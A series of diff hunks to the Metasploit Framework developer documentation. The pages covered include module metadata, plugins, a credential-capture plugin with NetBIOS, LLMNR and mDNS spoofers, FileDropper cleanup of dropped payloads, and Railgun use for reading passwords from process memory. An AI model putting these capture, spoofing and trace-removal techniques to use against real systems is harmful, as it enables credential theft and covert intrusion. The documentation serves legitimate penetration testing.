Difficulty 3/5
## Submit your own
@@ -35,7 +35,7 @@ But of course, to begin, you most likely need a template to work with, and here
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -69,7 +69,12 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Privileged' => false,
'DisclosureDate' => '',
'DefaultTarget' => 0
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
},
)
)
end
@@ -99,7 +104,14 @@ end
* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`.
**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
* **DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
* **Notes** - The Notes field is a hash always containing three keys. The value of each key is an array of constants. The list of available constants can be found in the [[Definition of Module Reliability Side Effects and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]. The key should be present even if the array is empty.
* **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
+1 -1
View File
@@ -33,7 +33,6 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
- [[Exploit Ranking]]
- [[Module Reference Identifiers]]
- [[How to check Microsoft patch levels for your exploit]]
- [[How to clean up files using FileDropper]]
- [[How to deprecate a Metasploit module]]
- [[How to do reporting or store data in module development]]
- [[How to log in Metasploit]]
@@ -65,6 +64,7 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
- [[Using ReflectiveDll Injection]]
- [[Oracle Usage]]
- [[Definition of Module Reliability, Side Effects, and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]
- [[How to cleanup after module execution]]
# Metasploit Payloads #
@@ -0,0 +1,155 @@
Metasploit plugins can change the behavior of Metasploit framework by adding new features, new user interface commands, and more.
They are designed to have a very loose definition in order to make them as useful as possible.
Plugins are not available by default, they need to be loaded:
```msf
msf6 > load plugin_name
```
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
```
load plugin_name
plugin_name_command --option
```
## Available Plugins
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
| name | Description |
|------------------|-----------------------------------------------------------------------------------------------------|
| aggregator | Interacts with the external Session Aggregator |
| alias | Adds the ability to alias console commands |
| auto_add_route | Adds routes for any new subnets whenever a session opens |
| beholder | Capture screenshots, webcam pictures, and keystrokes from active sessions |
| besecure | Integrates with the beSECURE - open source vulnerability management |
| capture | Start all credential capture and spoofing services |
| db_credcollect | Automatically grab hashes and tokens from Meterpreter session events and store them in the database |
| db_tracker | Monitors socket calls and updates the database backend |
| event_tester | Internal test tool used to verify the internal framework event subscriber logic works |
| ffautoregen | This plugin reloads and re-executes a file-format exploit module once it has changed |
| ips_filter | Scans all outgoing data to see if it matches a known IPS signature |
| lab | Adds the ability to manage VMs |
| libnotify | Send desktop notification with libnotify on sessions and db events |
| msfd | Provides a console interface to users over a listening TCP port |
| msgrpc | Provides a MessagePack interface over HTTP |
| nessus | Nessus Bridge for Metasploit |
| nexpose | Integrates with the Rapid7 Nexpose vulnerability management product |
| openvas | Integrates with the OpenVAS - open source vulnerability management |
| pcap_log | Logs all socket operations to pcaps (in /tmp by default) |
| request | Make requests from within Metasploit using various protocols. |
| rssfeed | Create an RSS feed of events |
| sample | Demonstrates using framework plugins |
| session_notifier | This plugin notifies you of a new session via SMS |
| session_tagger | Automatically interacts with new sessions to create a new remote TaggedByUser file |
| socket_logger | Log socket operations to a directory as individual files |
| sounds | Automatically plays a sound when various framework events occur |
| sqlmap | sqlmap plugin for Metasploit |
| thread | Internal test tool for testing thread usage in Metasploit |
| token_adduser | Attempt to add an account using all connected Meterpreter session tokens |
| token_hunter | Search all active Meterpreter sessions for specific tokens |
| wiki | Outputs stored database values from the current workspace into DokuWiki or MediaWiki format |
| wmap | Web assessment plugin |
## Examples
### Alias Plugin
The Alias plugin adds the ability to alias console commands:
```msf
msf6 > load alias
[*] Successfully loaded plugin: alias
msf6 > alias -h
Usage: alias [options] [name [value]]
OPTIONS:
-c Clear an alias (* to clear all).
-f Force an alias assignment.
-h Help banner.
```
Register an alias such as `proxy_enable`:
```msf
msf6 > alias proxy_enable "set Proxies http:localhost:8079"
```
Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module:
```msf
msf6 auxiliary(scanner/http/title) > proxy_enable
Proxies => http:localhost:8079
```
Viewing registered aliases:
```msf
msf6 > alias
Current Aliases
===============
Alias Name Alias Value
---------- -----------
alias proxy_enable set Proxies http:localhost:8079
```
To automatically load and configure the alias plugin on startup of Metasploit, create a custom `~/.msf4/msfconsole.rc` file:
```
load alias
alias proxy_enable "set Proxies http:localhost:8079"
alias proxy_disable "unset Proxies"
alias routes "route print"
```
### Capture Plugin
Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has
facilitated this for years with protocol-specific modules all under the `modules/auxiliary/server/capture` directory. Users can start and configure
each of these modules individually, but now the capture plugin can streamline the process. The capture plugin can easily start 13
different services (17 including SSL enabled versions) on the same listening IP address including remote interfaces via Meterpreter.
A configuration file can be used to select individual services to start and once finished, all services can easily be stopped
using a single command.
To use the plugin, it must first be loaded. That will provide the `captureg` command (for Capture-Global) which then offers start
and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.
```msf
msf6 > load capture
[*] Successfully loaded plugin: Credential Capture
msf6 > captureg start --ip 192.168.159.128
Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt
Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808
[+] Authentication Capture: DRDA (DB2, Informix, Derby) started
[+] Authentication Capture: FTP started
[+] HTTP Client MS Credential Catcher started
[+] HTTP Client MS Credential Catcher started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: MSSQL started
[+] Authentication Capture: MySQL started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: PostgreSQL started
[+] Printjob Capture Service started
[+] Authentication Capture: SIP started
[+] Authentication Capture: SMB started
[+] Authentication Capture: SMTP started
[+] Authentication Capture: Telnet started
[+] Authentication Capture: VNC started
[+] Authentication Capture: FTP started
[+] Authentication Capture: IMAP started
[+] Authentication Capture: POP3 started
[+] Authentication Capture: SMTP started
[+] NetBIOS Name Service Spoofer started
[+] LLMNR Spoofer started
[+] mDNS Spoofer started
[+] Started capture jobs
msf6 >
```
This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/).
@@ -1,38 +0,0 @@
## On this page
* [Examples](#examples)
* [Reference](#reference)
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
## Examples
The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
include Msf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be:
```ruby
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
```
If my session's current directory is already in ```C:\Windows\System32\```, then you can:
```ruby
register_file_for_cleanup("payload.exe")
```
If you wish to register multiple files, you can also provide the file names as arguments:
```ruby
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
```
Note that if your exploit module uses ```on_new_session```, you are actually overriding FileDropper's ```on_new_session```.
## Reference
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb>
@@ -0,0 +1,86 @@
## On this page
* [Cleanup method](#cleanup-method)
* [FileDropper Mixin](#filedropper-mixin)
## Cleanup method
Metasploit has a handy `cleanup` method that is always called when the module terminates, whether it is successful or not. This method can be overridden by any modules to add their own cleanup routines. For example, this might be useful to put some files back on the target after the module had deleted them. Another scenario would be to restore the settings in a web application that were modified by the exploit. This is the right place to clean things up.
Framework itself implements this method to disconnect connections, call the handler cleanup routines, etc. Some other mixins, such as the `Msf::Exploit::FileDropper` (see the next [section](#filedropper-mixin)) or `Msf::Exploit::Remote::Kerberos::Client`, override this method to add their own cleanup code. It is extremely important to **always** call `super` in your `cleanup` method to make sure Framework and any other mixins clean up themself properly.
Here is an example that restores a configuration file after being deleted by the module:
```ruby
def cleanup
unless self.conf_content.nil?
write_file(self.conf_file, self.conf_content)
end
super
end
```
Here is another example of a `cleanup` method that deletes a temporary Git repository:
```ruby
def cleanup
super
return unless need_cleanup?
print_status('Cleaning up')
uri = normalize_uri(datastore['USERNAME'], self.repo_name, '/settings')
csrf = get_csrf(uri)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], uri),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
_csrf: csrf,
action: 'delete',
repo_name: self.repo_name
}
})
unless res
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
end
unless res.code == 302
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
end
print_status("Repository #{self.repo_name} deleted.")
nil
end
```
## FileDropper Mixin
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
The [FileDropper mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb) is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
include Msf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the `register_file_for_cleanup` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: `C:\Windows\System32\payload.exe`, then my statement can be:
```ruby
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
```
If my session's current directory is already in `C:\Windows\System32\`, then you can:
```ruby
register_file_for_cleanup("payload.exe")
```
If you wish to register multiple files, you can also provide the file names as arguments:
```ruby
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
```
Note that if your exploit module uses `on_new_session`, you are actually overriding FileDropper's `on_new_session`.
@@ -62,6 +62,14 @@ The other one is ```inspect```, which returns a string of a human-readable repre
session.inspect
```
One commonly used method of the session object is the `platform` method. For example, if you're writing a post module for a windows exploit, in the check method you'll likely want to use `session.platform` to ensure the target session is affected:
```ruby
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
```
You can also look at [other current post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post) and see how they use their session object.
### The Msf::Post Mixin
@@ -49,7 +49,7 @@ Here's the most basic example of an auxiliary module. We'll explain a bit more a
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -86,7 +86,7 @@ Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you wa
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -38,7 +38,7 @@ For debugging purposes, it's always better to turn on the highest level of loggi
There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about:
```
```ruby
def elog(msg, src = 'core', level = 0, from = caller)
```
@@ -50,7 +50,7 @@ And then you are ready to go.
The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following:
```
```ruby
js = %Q|
var arrr = new Array();
arrr[0] = windows.document.createElement("img");
@@ -82,7 +82,7 @@ So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the s
In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this:
```
```html
<html>
<head>
<script>
@@ -150,7 +150,7 @@ This time we'll do a "hello world" example:
And here's the output:
```
```javascript
window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })());
```
@@ -89,7 +89,7 @@ First ensure you are running the Metasploit database, and are running the JSON s
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -118,7 +118,7 @@ Response:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -155,7 +155,7 @@ Response:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
@@ -185,7 +185,7 @@ Response:
Metasploit modules support running `check` methods which can be used to identify the success of an exploit module, or to run an
auxiliary module against a target. For instance, with an Auxiliary module check request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -205,7 +205,7 @@ curl --request POST \
Or an Exploit module check request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
@@ -240,7 +240,7 @@ The response will contain an identifier which can be used to query for updates:
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -288,7 +288,7 @@ It is possible to poll for module results using the id returned when running a m
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -353,7 +353,7 @@ but the memory is limited to 35mb as the memory datastore used is implemented by
Request:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
@@ -445,7 +445,7 @@ curl --request POST \
Run the analyze command:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
@@ -491,7 +491,7 @@ Response:
When analyzing a host, it is also possible to specify payload requirements for additional granularity:
```
```sh
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Authorization: Bearer ' \
@@ -1,8 +1,8 @@
Railgun is a very powerful post exploitation feature exclusive to Windows Meterpreter. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, what you can do is you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
Railgun is a very powerful post exploitation feature exclusive to the Windows and Python Meterpreters. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a Meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
### Defining a DLL and its functions
## Defining a DLL and its functions
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version. The same list of built-in DLLs can also be retrieved by using the ```known_dll_names``` method.
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: advapi32, crypt32, dbghelp, iphlpapi, kernel32, netapi32, ntdll, psapi, shell32, spoolss, user32, version, winspool, wlanapi, wldap32, and ws2_32. The same list of built-in DLLs can also be retrieved by using the `known_library_names` method.
All DLL definitions are found in the "[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" directory, where they are defined as classes. The following template should demonstrate how a DLL is actually defined:
@@ -16,16 +16,16 @@ module Stdapi
module Railgun
module Def
class Def_somedll
class Def_windows_somedll
def self.create_dll(dll_path = 'somedll')
dll = DLL.new(dll_path, ApiConstants.manager)
def self.create_library(constant_manager, dll_path = 'somedll')
dll = Library.new(library_path, constant_manager)
# 1st argument = Name of the function
# 2nd argument = Return value's data type
# 3rd argument = An array of parameters
dll.add_function('SomeFunction', 'DWORD',[
["DWORD","hwnd","in"]
['DWORD','hwnd','in']
])
return dll
@@ -36,32 +36,34 @@ end
end; end; end; end; end; end; end
```
In function definitions, Railgun supports these datatypes: VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB.
In function definitions, Railgun supports these data types: BOOL, BYTE, DWORD, LPVOID, PBLOB, PCHAR, PDWORD, PULONG_PTR, PWCHAR, ULONG_PTR, VOID, WORD.
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, ```MessageBoxA``` has a "in" parameter named ```lpText```, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, `MessageBoxA` has an "in" parameter named `lpText`, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash.
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash. Some datatypes such as LPVOID and ULONG_PTR have a size that is determined based on the host architecture, e.g. 32-bit versions of Windows use 4-byte/32-bit values. For cross compatibility, the number 4 (for 4-bytes) can be used as the size for these values on both 32-bit and 64-bit systems. The number four comes from the size used for these types in the original 32-bit implementation and was selected to maintain backwards compatibility when 64-bit support was added.
An "inout" parameter serves as an input to the called function, but can be potentially modified by it. You can inspect the return hash for the modified value like an "out" parameter.
A quick way to define a new function at runtime can be done like the following example:
The fourth type, "return" is used as the return data type. It is passed to `#add_function` after the function name argument.
A quick way to define a new function (or redefine an existing function) at runtime can be done like the following example:
```ruby
client.railgun.add_function('user32', 'MessageBoxA', 'DWORD',[
["DWORD","hWnd","in"],
["PCHAR","lpText","in"],
["PCHAR","lpCaption","in"],
["DWORD","uType","in"]
['DWORD','hWnd','in'],
['PCHAR','lpText','in'],
['PCHAR','lpCaption','in'],
['DWORD','uType','in']
])
```
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in the library.
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in to the library.
### Usage
## Usage
The best way to try Railgun is with irb in a Windows Meterpreter prompt. Here's an example of how to get there:
```
```msf
$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > run
@@ -72,70 +74,81 @@ msf exploit(handler) > run
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
[*] Starting IRB shell...
[*] You are in the "client" (session) object
>>
```
Note that when you're running a post module or in irb, you always have a ```client``` or ```session``` object to work with, both point to same thing, which in this case is ```Msf::Sessions::Meterpreter_x86_Win```. This Meterpreter session object gives you API access to the target machine, including the Railgun object ```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```. Here's how you simply access it:
Note that when you're running a post module or in irb, you always have a `client` or `session` object to work with, both point to same thing, which in this case is `Msf::Sessions::Meterpreter_x86_Win`. This Meterpreter session object gives you API access to the target machine, including the Railgun object `Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun`. Here's how you simply access it:
```ruby
session.railgun
railgun
```
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the ```known_dll_names``` method:
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the `known_dll_name` method:
```
>> session.railgun.known_dll_names
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"]
>> railgun.known_library_names
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version", "psapi", "dbghelp", "winspool", "spoolss"]
```
Now, say we're interested in user32 and we want to find all the available functions (as well as return value's data type, parameters), another handy trick is this:
```ruby
session.railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
```
Note that if you happen to call an invalid or unsupported Windows function, a ```RuntimeError``` will raise, and the error message also shows a list of available functions.
Note that if you happen to call an invalid or unsupported Windows function, a `RuntimeError` will raise, and the error message also shows a list of available functions.
To call a Windows API function, here's how:
To call a Windows API function, call the Ruby function of the desired name on the corresponding library (DLL) object. For example to call `user32!MessageBoxA`:
```
>> session.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
>> railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
```
As you can see this API call returns a hash. One habit we have seen is that sometimes people don't like to check ```GetLastError```, ```ErrorMessage```, and/or the ```return``` value, they kind of just assume it works. This is a bad programming habit, and is not recommended. If you always assume something works, and execute the next API call, you risk having unexpected results (worst case scenario: losing the Meterpreter session).
As you can see, this API call returns a hash. The "return" key is the return value of the function, as defined by its defined datatype. If the return type is a pointer to a known type (a pointer other than LPVOID, such as PCHAR), then the "return" key will be the value of that type and an additional "&return" key will be included. The "&return" key, when present, is the address in memory at which the "return" value is located. This is useful when the caller needs to both access the value but also have the ability to free it at a later time. Note that in these cases, if the pointer is NULL, "return" will always be Ruby's `nil` value and "&return" will be 0.
### Memory Reading and Writing
The "GetLastError" key is the threads last-error code, as returned by [kernel32!GetLastError][kernel32!GetLastError]. This value is useful for determining if the function call was successful and not not, why it failed. The "ErrorMessage" key is a string to a human readable name of the corresponding "GetLastError" code. When making a function call through railgun, it s important to inspect the results to determine if it was successful before processing any results. There is no error handling for native API calls, so simple mistakes like accessing invalid memory locations will cause the session to close as the host process crashes.
The ```Railgun``` class also has two very useful methods that you will probably use: ```memread``` and ```memwrite```. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
## Memory Reading and Writing
The `Railgun` class also has useful methods that you will probably use: `memread` and `memwrite`. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
```
>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS)
>> process = sys.process.open(sys.process.getpid, PROCESS_ALL_ACCESS)
=> #<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 @client=#<Session:meterpreter 192.168.1.106:55151 (192.168.1.106) "WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM">, @handle=448, @channel=nil, @pid=2268, @aliases={"image"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:0x007fe2c5a25828 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "io"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x007fe2c5a257b0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "memory"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:0x007fe2c5a25738 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "thread"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread:0x007fe2c5a256c0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>}>
>> p.memory.allocate(1024)
>> address = process.memory.allocate(1024)
=> 5898240
```
As you can see, the new allocation is at address 5898240 (or 0x005A0000 in hex). Let's first write four bytes to it:
As you can see, the new allocation is at the previously allocated address. Let's first write some data to it:
```
>> session.railgun.memwrite(5898240, "AAAA", 4)
>> railgun.memwrite(address, "AAAA\x00".b)
=> true
```
```memwrite``` returns true, which means successful. Now let's read 4 bytes from 0x005A0000:
`memwrite` returns true, which means successful. Now let's read 4 bytes from the same address:
```
>> session.railgun.memread(5898240, 4)
>> railgun.memread(address, 4)
=> "AAAA"
```
Be aware that if you supply a bad pointer, you can cause an access violation and crash Meterpreter.
### References:
### Reading and Writing Strings
Railgun also has a number of useful utility methods in `railgun.util`. For example, the `#read_string` method can be used to read an ASCII string from memory. A `read_wstring` variant can be used to read UTF-16 strings.
```
>> railgun.util.read_string(address)
=> "AAAA"
```
## References:
- <https://www.youtube.com/watch?v=AniR-T0AnnI>
- <https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf>
@@ -144,3 +157,5 @@ Be aware that if you supply a bad pointer, you can cause an access violation and
- <http://msdn.microsoft.com/en-us/library/aa383749>
- <http://undocumented.ntinternals.net/>
- <http://source.winehq.org/WineAPI/>
[kernel32!GetLastError]: https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror
@@ -20,7 +20,7 @@ This may sound surprising, but sometimes we get asked questions that are already
* **Which ones have been tested**: When a module is developed, usually the exploit isn't tested against every single setup if there are too many. Usually the developers will just try to test whatever they can get their hands on. So if your target isn't mentioned here, keep in mind there is no guarantee it's going to work 100%. The safest thing to do is to actually recreate the environment your target has, and test the exploit before hitting the real thing.
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [check command](How-to-write-a-check-method.md), because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
* **What conditions the server must meet in order to be exploitable**: Quite often, a vulnerability requires multiple conditions to be exploitable. In some cases you can rely on the exploit's [[check command|How-to-write-a-check-method.md]], because when Metasploit flags something as vulnerable, it actually exploited the bug. For browser exploits using the BrowserExploitServer mixin, it will also check exploitable requirements before loading the exploit. But automation isn't always there, so you should try to find this information before running that "exploit" command. Sometimes it's just common sense, really. For example: a web application's file upload feature might be abused to upload a web-based backdoor, and stuff like that usually requires the upload folder to be accessible for the user. If your target doesn't meet the requirement(s), there is no point to try.
You can use the info command to see the module's description:
@@ -1,6 +1,6 @@
If youve found a way to execute a command on a target, and youd like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
The hardest part about command stagers is understanding how much they do and what they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
# The Vulnerability Test Case
@@ -70,7 +70,7 @@ include Msf::Exploit::CmdStager
**2. Declare your flavors**
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.
